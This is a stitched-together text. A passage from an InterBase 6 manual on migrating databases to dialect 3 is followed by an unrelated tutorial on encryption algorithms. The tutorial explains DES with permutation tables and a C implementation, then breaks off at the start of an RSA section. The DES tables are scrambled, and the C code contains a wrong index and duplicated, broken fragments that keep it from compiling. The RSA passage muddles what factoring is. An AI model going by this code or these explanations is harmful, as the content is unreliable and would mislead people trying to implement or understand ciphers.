10. Locate each CREATE TRIGGER and CREATE DOMAIN statement and change it to
ALTER TRIGGER or ALTER DOMAIN as appropriate.
11. Locate each CREATE VIEW statement. Precede it by a corresponding DROP
statement. For example, if you have a CREATE VIEW foo statement, put a DROP
VIEW foo statement right before it, so that when you run this script against
your database, each view first gets dropped and then re-created.
12. If you have any ALTER TABLE statements that you copied because they contain
named table-level constraints, modify the statement so that it does nothing
except drop the named constraint and then add the constraint back with the
single quotes.
13. Check that stored procedure statements are ALTER PROCEDURE statements.
This should already be the case.
14. At the beginning of the script, put a CONNECT statement that connects to the
original database that you are migrating.
15. Make sure your database is backed up and run your script against the
database.
16. Use gfix to change the database dialect to 3.
gfix -sql_dialect 3 database.gdb

Note To run gfix against a database, you must attach as either the database owner or
SYSDBA.

17. At this point, DECIMAL and NUMERIC columns with a precision greater than 9
are still stored as DOUBLE PRECISION. To store the data as INT64, follow the
steps in Migrating NUMERIC and DECIMAL datatypes on page 48.
18. Validate the database using either IBConsole or gfix.
Thats it. Youve got a dialect 3 database. There is a little more work to do if you want
your NUMERIC and DECIMAL columns with a precision of greater than 9 to be stored as
INT64. At this point, they are still stored as DOUBLE PRECISION. To decide whether you want
to change they way data in these columns is stored, read
In addition, there are some optional steps you can take that are described in the following
sections, Column defaults and column constraints and Unnamed table
constraints.
IMPORTANT

46

If you ever extract metadata from the dialect 3 database that you created using the steps
above, and if you plan to use that metadata to create a new database, check to see if the
extracted metadata contains double quotes delimiting string constants in column
defaults, column constraints, or unnamed table constraints. Change any such
occurrences to single quotes before using the metadata to create the new database.

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

 Column defaults and column constraints


The steps above permitted you to retain double quoted string constants in column
defaults, column constraints, and unnamed table constraints. This is possible because,
once created, InterBase stores them in binary form.
Following the steps above creates a dialect 3 database that is fully functional, but if it
contains double quoted string constants in column defaults, column constraints, or
unnamed column constraints, inconsistencies are visible when you SHOW metadata or
extract it. You can choose to resolve these inconsistencies by following these steps:
1. Back up the database.
2. Examine the metadata to detect each occurrence of a column default or
column constraint that uses double quotes.
3. For each affected column, use the ALTER COLUMN clause of the ALTER TABLE
statement to give the column a temporary name. If column position is likely
to be an issue with any of your clients, change the position as well.
4. Create a new column with the desired datatype, giving it the original column
name and position.
5. Use UPDATE to copy the data from old column to the new column:
UPDATE table_name
SET new_col = old_col;

6. Drop the old column.

 Unnamed table constraints


Read the first two paragraphs under Column defaults and column constraints on
page 47 to understand why you dont always need to change constraints with double
quotes to single-quoted form, and why you might want to change them.
To bring unnamed table constraints that contain double quotes into compliance with the
dialect 3 standard, follow these steps:
1. Back up the database.
2. Examine the metadata to detect each occurrence of an unnamed table
constraint that uses double quotes.
3. For each occurrence, use SHOW TABLE to see the name that InterBase has
assigned to the constraint.
4. Use ALTER TABLE to drop the old constraint, using the name given in the SHOW
TABLE output and add a new constraint. For ease in future handling, give the
constraint a name.

47

CHAPTER 3 MIGRATING TO INTERBASE 6

If SHOW TABLE shows that InterBase stores the unnamed constraint as INTEG_2, then
issue the following statement to change the constraint:
ALTER TABLE foo
DROP CONSTRAINT INTEG_2,
ADD CONSTRAINT new_name
CHECK (col_name IN ('val1', 'val2', 'val3'));

 Migrating NUMERIC and DECIMAL datatypes


If you back up a NUMERIC or DECIMAL column with a precision greater than 9 (for
example, NUMERIC(12,2)) in an InterBase 5 or earlier database and restore the database
as InterBase 6, the column is still stored as DOUBLE PRECISION. Because InterBase does
not allow datatype conversions that could potentially result in data loss, you cannot use
the ALTER COLUMN statement to change the column datatype from DOUBLE PRECISION to
INT64. To migrate a DOUBLE PRECISION column to an INT64 column, you must create a new
INT64 column and copy the contents of the older column into it.
In InterBase 6 dialect 3, when you create a NUMERIC or DECIMAL column with a precision
of greater than 9, data in it is automatically stored as an INT64 exact numeric.
If you want NUMERIC and DECIMAL datatypes with a precision greater than 9 to be stored
as exact numerics, you must take some extra steps after migrating to dialect 3. The
following sections tell you how to decide whether you really need to take these steps and
how to perform them if you decide you want the exact numerics.
DO YOU REALLY NEED TO MIGRATE YOUR NUMERIC AND DECIMAL DATATYPES?

As you migrate you databases to dialect 3, consider the following questions about
columns defined with NUMERIC and DECIMAL datatypes:


Is the precision less than 10? If so, there is no issue. You can migrate without taking any
action and there will be no change in the database and no effect on clients.

For NUMERIC and DECIMAL columns with precision greater than 9, is DOUBLE PRECISION an
appropriate way to store your data?
In many cases, the answer is yes. If you want to continue to store your data as DOUBLE
PRECISION, change the datatype of the column to DOUBLE PRECISION either before or
after migrating your database to dialect 3. This doesnt change any functionality in
dialect 3, but it brings the declaration into line with the storage mode. In a dialect 3
database, newly-created columns of this type are stored as INT64, but migrated columns
are still stored as DOUBLE PRECISION. Changing the declaration avoids confusion.

48

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

DOUBLE PRECISION may not be appropriate or desirable for financial applications and
others that are sensitive to rounding errors. In this case, you need to take steps to
migrate your column so that it is stored as INT64 in dialect 3. As you make this decision,
remember that INT64 does not store the same range as DOUBLE PRECISION. Check
whether you will experience data loss and whether this is acceptable.
MIGRATING NUMERIC AND DECIMAL DATATYPES

Read Do you really need to migrate your NUMERIC and DECIMAL datatypes? on
page 48 to decide whether you have columns in a dialect 1 database that would be best
stored as 64-bit integers in a dialect 3 database. If this is the case, follow these steps for
each column:
1. Migrate your database to InterBase 6 as described in Method one: in-place
migration on page 44.
2. Use the ALTER COLUMN clause of the ALTER DATABASE statement to change the
name of each affected column to something different from its original name.
If column position is going to be an issue with any of your clients, use ALTER
COLUMN to change the positions as well.
3. Create a new column for each one that you are migrating. Use the original
column names and if necessary, positions. Declare each one as a DECIMAL or
NUMERIC with precision greater than 9.
4. Use UPDATE to copy the data from each old column to its corresponding new
column:
UPDATE tablename
SET new_col = old_col;

5. Check that your data has been successfully copied to the new columns and
drop the old columns.

Method two: migrating to a new database


If you can create a data transfer utility that copies data between databases, the process of
migrating a database to dialect 3 is considerably simplified.
Overview Extract the metadata from your database, examine it for problem areas, and fix

the problems. Use the modified metadata file to create a new dialect 3 database and use
an application to transfer data from the old database to the new.

49

CHAPTER 3 MIGRATING TO INTERBASE 6

1. If you have not migrated the database to version 6, dialect 1, do so first. Back
up the database again.
2. Extract the metadata from the database using isql -x. If you are migrating a
database that contains data structures created with GDML, see Migrating
older databases on page 50.
For the following steps, use a text editor to examine and modify the metadata file.
3. Search for each occurrence of the TIMESTAMP datatype. In most cases, these
were DATE datatypes in your pre-6 database. Decide whether you want it to
be TIME, TIMESTAMP, or DATE in your dialect 3 database. Change it as needed.
4. Find all instances of reserved words that are used as object names and
enclose them in double quotes to make them delimited identifiers.
5. Search for each instance of double quotes in the extracted metadata file.
These can occur in triggers, stored procedures, views, domains, exceptions,
table column defaults, and constraints. Change each double quote to a single
quote.
6. Search for each instance of a DECIMAL or NUMERIC datatype with a precision
greater than 9. Consider whether or not you want that data stored as DOUBLE
PRECISION or INT64. See Do you really need to migrate your NUMERIC and
DECIMAL datatypes? on page 48 for a discussion of issues. For occurrences
that should be stored as DOUBLE PRECISION, change the datatype to that.
Leave occurrences that you want stored as INT64 alone for now.
7. At the beginning of the file, enter SET SQL DIALECT 3. On the next line,
uncomment the CREATE DATABASE statement and edit it as necessary to create
a new database.
8. Run the metadata file as a script to create a new database.
9. Use your data transfer utility to copy data from the old database to the new
dialect 3 database. In the case of a large database, allow significant time for
this.
10. Validate the database using gfix.
11. At this point, DECIMAL and NUMERIC columns with a precision greater than 9
are still stored as DOUBLE PRECISION. To store the data as INT64, follow the
steps in Migrating NUMERIC and DECIMAL datatypes on page 48.

 Migrating older databases


If you have legacy databases in which some data structures were created with GDML, you
may need to extract metadata in a slightly different way.

50

INTERBASE 6

MIGRATING CLIENTS

1. Try extracting metadata as described in Step 2 above and examine it to see if


all tables and other DDL structures are present. If they are not, delete the
metadata file and extract using the -a switch instead of the -x switch. This
extracts objects created in GDML.
2. You may have to change some of the code to SQL form. For example, the
following domain definition
CREATE DOMAIN NO_INIT_FLAG AS SMALLINT
( no_init_flag = 1 or
no_init_flag = 0 or
no_init_flag missing);

needs to be translated to:


CREATE DOMAIN NO_INIT_FLAG AS SMALLINT
CHECK ( VALUE = 1 OR VALUE = 0 OR VALUE IS NULL );

3. Some code may be commented out. For example:


CREATE TABLE BOILER_PLATE (BOILER_PLATE_NAME NAME,
DATE DATE,
CREATED_DATE COMPUTED BY /* Date */);

needs to be changed to:


CREATE TABLE BOILER_PLATE (BOILER_PLATE_NAME NAME,
"DATE" DATE,
CREATED_DATE COMPUTED BY "DATE");

Migrating clients
To migrate an older client application to InterBase 6, install the InterBase 6 client onto
the platform where the client application resides. An InterBase server then recognizes
that client as a version 6 dialect 1 client.
It is good practice to recompile and relink the application and make note of field names,
datatype use, and so on in the new application. When you recompile, state the dialect
explicitly:
SET SQL DIALECT n;

51

CHAPTER 3 MIGRATING TO INTERBASE 6

IMPORTANT

If you have databases that use any of the new version 6 keywords as object identifiers
and you are not migrating those databases to dialect 3, you might want to not migrate
your version 5 clients. If you migrate them to version 6 dialect 1, you lose the ability to
access those keyword columns. See New keywords on page 27.
When you recompile an existing gpre client, you must recompile it with the
gpre -sql_dialect n switch.
There are several paths that permit you to create dialect 3 clients that access all new
InterBase 6 features:


In Delphi 5, make calls to functions in the new InterBase Express (IBX) package. Because
the Delphi 5 beta includes InterBase 5, it ships with a version of IBX that does not include
calls to the new InterBase 6 Services, Install, and Licensing APIs.

To write embedded SQL applications that address all InterBase 6 dialect 3 functionality,
compile them using gpre -sql_dialect 3.
Client

How to migrate

Older applications such as


Dialect is 1; there is no way to change the dialect
InterBase version 5 applications A version 5 client application becomes version 6 dialect 1
client whenever the InterBase 6 client is installed on the
machine with the client
ISQL

Issue the command line option:


-sql_dialect n

Or issue the command


SET SQL DIALECT n;

GPRE

Issue the command line option


-sql_dialect n

Or issue the command


EXEC SQL
SET SQL DIALECT n;

TABLE 3.7

52

BDE

All applications use SQL dialect 1. To access InterBase


dialect 3 features from Delphi 5, use the IBX components

InterClient

All applications use SQL dialect 1

Direct API calls

Set the dialect parameter on isc_dsql_execute_immediate(),


isc_dsql_exec_immed2(), isc_dsql_prepare() API calls to the
desired dialect value: 1 or 3

Migrating clients: summary

INTERBASE 6

IBREPLICATOR MIGRATION ISSUES

IBReplicator migration issues


InterBase 6 contains a new version of IBReplicator that should be used instead of
previous versions. It contains new features, described in the Release Notes and in the
Operations Guide, and a few changes which should be addressed when moving from
InterBase 5 to interBase 6. If you having been using IBReplicator with previous versions
of InterBase, keep these issues in mind:


If you have any schemas defined that have a source database replicating to more than
one target (within the same schema), then you should run the Create System Objects
command for each of those source databases. In such schemas, more than one entry is
placed in the log for any row modified. This does not cause any data errors, but does
cause some changes to be replicated more than once.
Note Do not run the Remove System Objects command, as this will empty the REPL_LOG

table.


If you have been using older licenses purchased from Synectics Software, those licenses
will not work with InterBase 6. You must use the version of IBReplicator for Opensource
InterBase, or buy new licenses from Borland Software Corporation for use with the
version of IBReplicator for Borland InterBase (the certified commercial version of
InterBase).

Migrating data from other DBMS products


If you have a large amount of data in another DBMS such as Paradox, the most efficient
way to bring the data into InterBase is to export the data from the original DBMS into
InterBase external file format. (See the Data Definition Guide for more information
about InterBase external files.) Then insert the data from the external files into the
internal tables. It is best not to have any constraints on new internal tables; you can
validate the database more easily once the data is in InterBase. If constraints do exist, you
will need triggers to massage the incoming data.

53

54

INTERBASE 6

___________________________________________________
Algorithms Explained By Ankit Fadia ankit@bol.net.in
<mailto:ankit@bol.net.in>
___________________________________________________
Encryption has become a part and parcel of our lives and we have
accepted the fact that data is going to encrypted and decrypted at
various stages. However, there is not a single encryption algorithm
followed everywhere. There are a number of algorithms existing, and I
feel there is a need to understand how they work. So this text
explains a number of popular encryption algorithms and makes you look
at them as mathematical formulas.
Data Encryption Standard or DES
The U.S government in 1977 adopted the Data Encryption Standard
(DES) algorithm. According to its developer the DES algorithm is:
It is a block cipher system which transforms 64-bit data blocks under
a 56-bit secret key under a 56-bit secret key, by means of permutation
and substitution.
Now, this tutorial will guide you through the various steps of the DES
encryption algorithm making you more confident in dealing with DES
encryption.
The following is a step by step guide to the DES algorithm, which was
originally written by Matthew Fischer and has been edited by me-:
1.) Firstly, we need to process the key.
1.1 Get a 64-bit key from the user. (Every 8th bit is considered a
parity bit. For a key to have correct parity, each byte should contain an
odd number of "1" bits.)
1.2 Calculate the key schedule.
1.2.1 Perform the following permutation on the 64-bit key. (The
parity bits are discarded, reducing the key to 56 bits. Bit 1 of the
permuted block is bit 57 of the original key, bit 2 is bit 49, and so on

with bit
56 being bit 4 of the original key.)
Permuted Choice 1 (PC-1)
57 49 41 33 25 17 9
1 58 50 42 34 26 18
10 2 59 51 43 35 27
19 11 3 60 52 44 36
63 55 47 39 31 23 15
7 62 54 46 38 30 22
14 6 61 53 45 37 29
21 13 5 28 20 12 4
1.2.2 Split the permuted key into two halves. The first 28 bits are
called C[0] and the last 28 bits are called D[0].
1.2.3

Calculate the 16 subkeys. Start with i = 1.

1.2.3.1 Perform one or two circular left shifts on both C[i-1] and
D[i-1] to get C[i] and D[i], respectively. The number of shifts per
iteration are given in the table below.
Iteration #
Left Shifts

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
1 1 2 2 2 2 2 2 1 2 2 2 2 2 2 1

1.2.3.2 Permute the concatenation C[i]D[i] as indicated below. This


will yield K[i], which is 48 bits long.
Permuted Choice 2 (PC-2)
14 17 11 24 1 5
3 28 15 6 21 10
23 19 12 4 26 8
16 7 27 20 13 2
41 52 31 37 47 55
30 40 51 45 33 48
44 49 39 56 34 53

46 42 50 36 29 32
1.2.3.3 Loop back to 1.2.3.1 until K[16] has been calculated.
2 Process a 64-bit data block.
2.1 Get a 64-bit data block. If the block is shorter than 64 bits, it
should be padded as appropriate for the application.
2.2 Perform the following permutation on the data block.
Initial Permutation (IP)
58
60
62
64
57
59
61
63

50
52
54
56
49
51
53
55

42
44
46
48
41
43
45
47

34
36
38
40
33
35
37
39

26
28
30
32
25
27
29
31

18
20
22
24
17
19
21
23

10
12
14
16
9
11
13
15

2
4
6
8
1
3
5
7

2.3 Split the block into two halves. The first 32 bits are called L[0],
and the last 32 bits are called R[0].
2.4 Apply the 16 subkeys to the data block. Start with i = 1.
2.4.1 Expand the 32-bit R[i-1] into 48 bits according to the bitselection function below.
Expansion (E)
32
4
8
12
16
20

1 2 3 4 5
5 6 7 8 9
9 10 11 12 13
13 14 15 16 17
17 18 19 20 21
21 22 23 24 25

24 25 26 27 28 29
28 29 30 31 32 1
2.4.2 Exclusive-or E(R[i-1]) with K[i].
2.4.3 Break E(R[i-1]) xor K[i] into eight 6-bit blocks. Bits 1-6 are
B[1], bits 7-12 are B[2], and so on with bits 43-48 being B[8].
2.4.4 Substitute the values found in the S-boxes for all B[j]. Start
with j = 1. All values in the S-boxes should be considered 4 bits wide.
2.4.4.1 Take the 1st and 6th bits of B[j] together as a 2-bit value
(call it m) indicating the row in S[j] to look in for the substitution.
2.4.4.2 Take the 2nd through 5th bits of B[j] together as a 4-bit
value (call it n) indicating the column in S[j] to find the substitution.
2.4.4.3 Replace B[j] with S[j][m][n].
Substitution Box 1 (S[1])
14 4 13
0 15 7
4 1 14
15 12 8

1 2
4 14
8 13
2 4

15 11 8 3 10 6 12 5 9
2 13 1 10 6 12 11 9 5
6 2 11 15 12 9 7 3 10
9 1 7 5 11 3 14 10 0

0 7
3 8
5 0
6 13

S[2]
15 1
3 13
0 14
13 8

8 14 6 11
4 7 15 2
7 11 10 4
10 1 3 15

3 4 9
8 14 12
13 1 5
4 2 11

7
0
8
6

2 13 12
1 10 6
12 6 9
7 12 0

0
9
3
5

5 10
11 5
2 15
14 9

S[3]
10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8
13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1
13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7

1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12
S[4]
7 13
13 8
10 6
3 15

14
11
9
0

3 0
5 6
0 12
6 10

6 9 10
15 0 3
11 7 13
1 13 8

1
4
15
9

2
7
1
4

8 5 11 12 4 15
2 12 1 10 14 9
3 14 5 2 8 4
5 11 12 7 2 14

S[5]
2 12 4 1 7 10 11 6 8
14 11 2 12 4 7 13 1 5
4 2 1 11 10 13 7 8 15
11 8 12 7 1 14 2 13 6

5 3 15 13
0 15 10 3
9 12 5 6
15 0 9 10

0 14 9
9 8 6
3 0 14
4 5 3

S[6]
12 1 10 15
10 15 4 2
9 14 15 5
4 3 2 12

9 2 6 8
7 12 9 5
2 8 12 3
9 5 15 10

0 13 3 4 14 7 5 11
6 1 13 14 0 11 3 8
7 0 4 10 1 13 11 6
11 14 1 7 6 0 8 13

S[7]
4 11 2 14
13 0 11 7
1 4 11 13
6 11 13 8

15
4
12
1

0 8 13 3 12
9 1 10 14 3
3 7 14 10 15
4 10 7 9 5

9 7 5 10
5 12 2 15
6 8 0 5
0 15 14 2

6 1
8 6
9 2
3 12

S[8]
13 2 8
1 15 13
7 11 4
2 1 14

4
8
1
7

6 15 11 1
10 3 7 4
9 12 14 2
4 10 8 13

10
12
0
15

9 3 14
5 6 11
6 10 13
12 9 0

5 0 12 7
0 14 9 2
15 3 5 8
3 5 6 11

2.4.4.4 Loop back to 2.4.4.1 until all 8 blocks have been replaced.

2.4.5 Permute the concatenation of B[1] through B[8] as indicated


below.
Permutation P
16 7 20 21
29 12 28 17
1 15 23 26
5 18 31 10
2 8 24 14
32 27 3 9
19 13 30 6
22 11 4 25
2.4.6 Exclusive-or the resulting value with L[i-1]. Thus, all together,
your R[i] = L[i-1] xor P(S[1](B[1])...S[8](B[8])), where B[j] is a 6-bit
block of E(R[i-1]) xor K[i]. (The function for R[i] is written as, R[i] =
L[i-1] xor f(R[i-1], K[i]).)
2.4.7 L[i] = R[i-1].
2.4.8 Loop back to 2.4.1 until K[16] has been applied.
2.5 Perform the following permutation on the block R[16]L[16].
Final Permutation (IP**-1)
40
39
38
37
36
35
34
33

8
7
6
5
4
3
2
1

48
47
46
45
44
43
42
41

16 56 24 64 32
15 55 23 63 31
14 54 22 62 30
13 53 21 61 29
12 52 20 60 28
11 51 19 59 27
10 50 18 58 26
9 49 17 57 25

This has been a description of how to use the DES algorithm to encrypt
one 64-bit block. To decrypt, use the same process, but just use the
keys K[i] in reverse order. That is, instead of applying K[1] for the
first
iteration, apply K[16], and then K[15] for the second, on down to K[1].
Summaries:
Key schedule:
C[0]D[0] = PC1(key)
for 1 <= i <= 16
C[i] = LS[i](C[i-1])
D[i] = LS[i](D[i-1])
K[i] = PC2(C[i]D[i])
Encipherment:
L[0]R[0] = IP(plain block)
for 1 <= i <= 16
L[i] = R[i-1]
R[i] = L[i-1] xor f(R[i-1], K[i])
cipher block = FP(R[16]L[16])
Decipherment:
R[16]L[16] = IP(cipher block)
for 1 <= i <= 16
R[i-1] = L[i]
L[i-1] = R[i] xor f(L[i], K[i])
plain block = FP(L[0]R[0])

To encrypt or decrypt more than 64 bits there are four official modes
(defined in FIPS PUB 81). One is to go through the above-described
process for each block in succession. This is called Electronic Codebook
(ECB) mode. A stronger method is to exclusive-or each plaintext block
with the preceding ciphertext block prior to encryption. (The first block
is exclusive-or'ed with a secret 64-bit initialization vector (IV).) This is
called Cipher Block Chaining (CBC) mode. The other two modes are
Output Feedback (OFB) and Cipher Feedback (CFB).

When it comes to padding the data block, there are several options.
One is to simply append zeros. Two suggested by FIPS PUB 81 are, if
the data is binary data, fill up the block with bits that are the opposite
of the last bit of data, or, if the data is ASCII data, fill up the block
with random bytes and put the ASCII character for the number of pad
bytes in the last byte of the block. Another technique is to pad the
block with random bytes and in the last 3 bits store the original number
of data bytes.
The DES algorithm can also be used to calculate checksums up to 64
bits long (see FIPS PUB 113). If the number of data bits to be check
summed is not a multiple of 64, the last data block should be padded
with zeros. If the data is ASCII data, the first bit of each byte
should be set to 0. The data is then encrypted in CBC mode with IV =
0. The leftmost n bits (where 16 <= n <= 64, and n is a multiple of 8)
of the final ciphertext block are an n-bit checksum.
Wow, that was one heck of a paper on DES. That would be all you need
to implement DES. Well, if you still have not understood how the DES
algorithm is implemented, then I suggest you go through the following C
program:
#include <stdio.h>
static int keyout[17][48];
void des_init(),lshift(),cypher(),des_encrypt(),des_descrypt();
void des_init(unsigned char *key){
unsigned char c[28],d[28];
static int pc1[56] = {57,49,41,33,25,17,9,
01,58,50,42,34,26,18,
10,02,59,51,43,35,27,
19,11,03,60,52,44,36,
63,55,47,39,31,23,15,
07,62,54,46,38,30,22,
14,06,61,53,45,37,29,
21,13,05,28,20,12,04};
static int pc2[48] = {14,17,11,24,1,5,
3,28,15,6,21,10,
23,19,12,4,26,8,

16,7,27,20,13,2,
41,52,31,37,47,55,
30,40,51,45,33,48,
44,49,39,56,34,53,
46,42,50,36,29,32};
static int nls[17] = {
0,1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1};
static int cd[56],keyb[64];
static int cnt,n=0;
register int i,j;
for(i=0;i<8;i++) /*Read in key*/
for(j=0;j<8;j++) keyb[n++]=(key[i]>>j&0x01);
for(i=0;i<56;i++) /*Permuted choice 1*/
cd[i]=keyb[pc1[1]-1];
for(i=0;i<28;i++){
c[i]=cd[i];
d[i]=cd[i+28];
}
for(cnt=1;cnt<=16;cnt++){
for(i=0;i<nls[cnt];i++){
lshift(c); lshift(d);
}
for(i=0;i<28;i++){
cd[i]=c[i];
cd[i+28]=d[i];
}
for(i=0;i<48;i++) /*Permuted Choice 2*/
keyout[cnt][i]=cd[pc2[i]-1];
}
}
static void lshift(unsigned char shft[]){
register int temp,i;
temp=shft[0];
for(i=0;i<27;i++) shft[i]=shft[i+1];
shft[27]=temp;
}
static void cypher(int *r, int cnt, int *fout){
static int expand[48],b[8][6],sout[8],pin[48];

register int i,j;


static int n,row,col,scnt;
static int p[32]={
16,7,20,21,29,12,28,17,1,15,23,26,
5,18,31,10,2,8,24,14,32,27,3,9,
19,13,30,6,22,11,4,25};
static int e[48] = {32,1,2,3,4,5,
4,5,6,7,8,9,
8,9,10,11,12,13,
12,13,14,15,16,17,
16,17,18,19,20,21,
20,21,22,23,24,25,
24,25,26,27,28,29,
28,29,30,31,32,1};
static char s[8][64] = {
14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7, /*s1*/
0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,
4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,
15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13,
15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10, /*s2*/
3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,
0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,
13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9,
10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8, /*s3*/
13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,
13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,
1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12,
7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,/*s4*/
13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,
10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,
3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14,
2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,/*s5*/
14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,
4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,
11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3,
12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11, /*s6*/
10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,
9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,

4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13,
4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,/*s7*/
13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,
1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,
6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12,
13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7, /*s8*/
1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,
7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,
2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11
};
for(i=0;i<48;i++) expand[i]=r[e[i]-1]; /*Expansion Function*/
for(i=n=0;i<8;i++) {
for(j=0;j<6;j++,n++) b[i][j]=expand[n]^keyout[cnt][n];
}
/*Selection functions*/
for(scnt=n=0;scnt<8;scnt++){
row=(b[scnt][0]<<1)+b[scnt][5];
col=(b[scnt][1]<<3)+(b[scnt][2]<<2)+(b[scnt][3]<<1)+b[scnt][4];
sout[scnt]=s[scnt][(row<<4)+col];
for(i=3;i>=0;i--){
pin[n]=sout[scnt]>>i;
sout[scnt]=sout[scnt]-(pin[n++]<<i);
}
}
for(i=0;i<32;i++) fout[i]=pin[p[i]-1]; /*Permutation Function*/
}
static int p[64] = {58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
5 = {58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7};

static int invp[64]={


40, 8,48,16,56,24,64,32,39, 7,47,15,55,23,63,31,
38, 6,46,14,54,22,62,30,37, 5,45,13,53,21,61,29,
36, 4,44,12,52,20,60,28,35, 3,43,11,51,19,59,27,
34, 2,42,10,50,18,58,26,33, 1,41, 9,49,17,57,25};
void des_encrypt(unsigned char *input){
static unsigned char out[64];
static int inputb[64],lr[64],l[32],r[32];
static int fn[32];
static int cnt,n;
register int i,j;
for(i=n=0;i<8;i++)
for(j=0;j<8;j++) inputb[n++]=(input[i]>>j&0x01);
for(i=0;i<64;i++){ /*Initial Permutation*/
lr[i]=inputb[p[i]-1];
if(i<32) l[i]=lr[i];
else r[i-32]=lr[i];
}
for(cnt=1;cnt<=16;cnt++){ /*Main encryption loop*/
cypher(r,cnt,fn);
for(i=0;i<32;i++){
j=r[i];
r[i]=l[i]^fn[i];
l[i]=j;
}
}
for(i=0;i<32;i++){
lr[i]=r[i];
lr[i+32]=l[i];
}
for(i=0;i<64;i++) out[i]=lr[invp[i]-1]; /*Inverse IP*/
for(i=1;i<=8;i++)
for(j=1;j<=8;j++) input[i-1]=(input[i-1]<<1)|out[i*8-j];
}
void des_decrypt(unsigned char *input){
static unsigned char out[64];
static int inputb[64],lr[64],l[32],r[32];
static int fn[32];

static int cnt,rtemp,n;


register int i,j;
for(i=n=0;i<8;i++)
for(j=0;j<8;j++) inputb[n++]=(input[i]>>j&0x01);
for(i=0;i<64;i++){ /*Initial Permutation*/
lr[i]=inputb[p[i]-1];
if(i<32) l[i]=lr[i];
else r[i-32]=lr[i];
}
for(cnt=16;cnt>0;cnt--){ /*Main decryption loop*/
cypher(r,cnt,fn);
for(i=0;i<32;i++){
rtemp=r[i];
if(l[i]==1 && fn[i]==1) r[i]=0;
else r[i]=(l[i] || fn[i]);
l[i]=rtemp;
}
}
for(i=0;i<32;i++){
lr[i]=r[i];
lr[i+32]=l[i];
}
for(i=0;i<64;i++) out[i]=lr[invp[i]-1]; /*Inverse IP*/
for(i=1;i<=8;i++)
for(j=1;j<=8;j++) input[i-1]=(input[i-1]<<1) | out[i*8-j];
}
int main(int argc, char *argv[]){
unsigned char *key;
unsigned char data[8];
int n;
FILE *in;
FILE *out;
if (argc!=4) {
printf("\r\nUsage: des [e][d] <source file> <destination file>\r\n");
return 1;
}
key=(unsigned char*)getpass("Enter Key:");
des_init(key);

if((in=fopen(argv[2],"rb"))==NULL){
fprintf(stderr,"\r\nCould not open input file: %s",argv[2]);
return 2;
}
if((out=fopen(argv[3],"wb"))==NULL){
fprintf(stderr,"\r\nCould not open output file: %s",argv[3]);
return 3;
}
if(argv[1][0]=='e'){
while ((n=fread(data,1,8,in)) >0){
des_encrypt(data);
printf("data enctyted");
if(fwrite(data,1,8,out) < 8){
fprintf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
if(argv[1][0]=='d'){
while ((n=fread(data,1,8,in)) >0){
des_decrypt(data);
if(fwrite(data,1,8,out) < 8){
fprintf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
fclose(in); fclose(out);
return 0;
}ntf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
fclose(in); fclose(out);
return 0;
}
The RSA Encryption Algorithm

RSA is one of the most popular encryption algorithms around. It was


invented in 1977 by three MIT scientists; Ronald Rivest, Adi Shamir
and Leonard Adelman. This algorithm uses very very large prime numbers
to generate public and private keys. For more details about the
implementation of the RSA algorithm, read on.
The entire RSA algorithm is based on the concept of factoring.
Factoring is very easy to calculate i.e. an algorithm based on factoring
can easily be carried out, however, the strength of an algorithm based
on factoring lies in the fact that factoring is quite difficult to reverse.
So, encrypting data using a factoring algorithm can be done without
much of a problem, however to decrypt or crack an algorithm using a
factoring algorithm is not that easy.
Say you have two numbers x and y. Now it is relatively easier to find
out the final numbers when they are multiplied by a number N, however
on the other hand, if only N is know to us, then it is not easy to
calculate x and y. On top of this in RSA, N is very large number. This
makes the calculation all the more difficult. RSA uses factors of around
150 digits, making it not only impossible for manual calculation but also
making sure that the RSA encryption cannot be cracked within a feasible
amount of time.
In case of the encryption process, as RSA is a block encryption
algorithm, the entire data is broken into blocks and each block is
treated as a sequence of bits, with the number of digits being just a
